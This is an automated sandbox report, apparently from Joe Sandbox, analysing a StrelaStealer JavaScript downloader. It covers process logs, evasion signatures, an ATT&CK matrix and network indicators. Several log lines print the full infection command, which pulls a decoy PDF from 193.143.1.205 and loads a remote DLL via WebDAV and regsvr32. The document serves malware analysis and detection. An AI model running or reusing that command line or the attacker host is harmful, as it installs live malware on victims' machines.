Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4269			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5493			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6848	Thread sleep count: 4269 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1780	Thread sleep count: 5493 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6904	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2640	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2756	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3084	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 404	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7436	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000008.00000002.2988049295.000002068DC2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000006.00000003.1744331850.0000019DB878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2989319070.0000020693254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1744676325.0000019DB8728000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27255157152120.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1055116600916029869.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
1055116600916029869.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/Ac	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/~	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Z	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sr~	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1695686978.0000027042A1E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Z	net.exe, 00000006.00000003.1743973341.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1744730710.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
http://193.143.1.205:8888/sr~	net.exe, 00000006.00000002.1744676325.0000019DB8728000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.mi	svchost.exe, 00000008.00000002.2989319070.0000020693254000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1744442797.0000020693142000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/n	net.exe, 00000006.00000003.1743973341.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1744730710.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Ac	net.exe, 00000006.00000002.1744676325.0000019DB8728000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.2989187735.000002069320F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1744676325.0000019DB8728000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1743361440.0000019DB877C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1743973341.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1744730710.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1744442797.0000020693142000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/~	net.exe, 00000006.00000003.1743973341.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1744730710.0000019DB8757000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588601
Start date and time:	2025-01-11 03:00:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1055116600916029869.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/59@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 50.16.47.176, 54.224.241.105, 34.237.241.83, 18.213.11.84, 2.16.168.107, 2.16.168.105, 162.159.61.3, 172.64.41.3, 23.200.0.21, 23.200.0.33, 184.28.90.27, 192.168.2.4, 23.209.209.135, 4.245.163.56, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:01:51	API Interceptor	19x Sleep call for process: powershell.exe modified
21:01:55	API Interceptor	1x Sleep call for process: net.exe modified
21:01:55	API Interceptor	2x Sleep call for process: svchost.exe modified
21:02:08	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
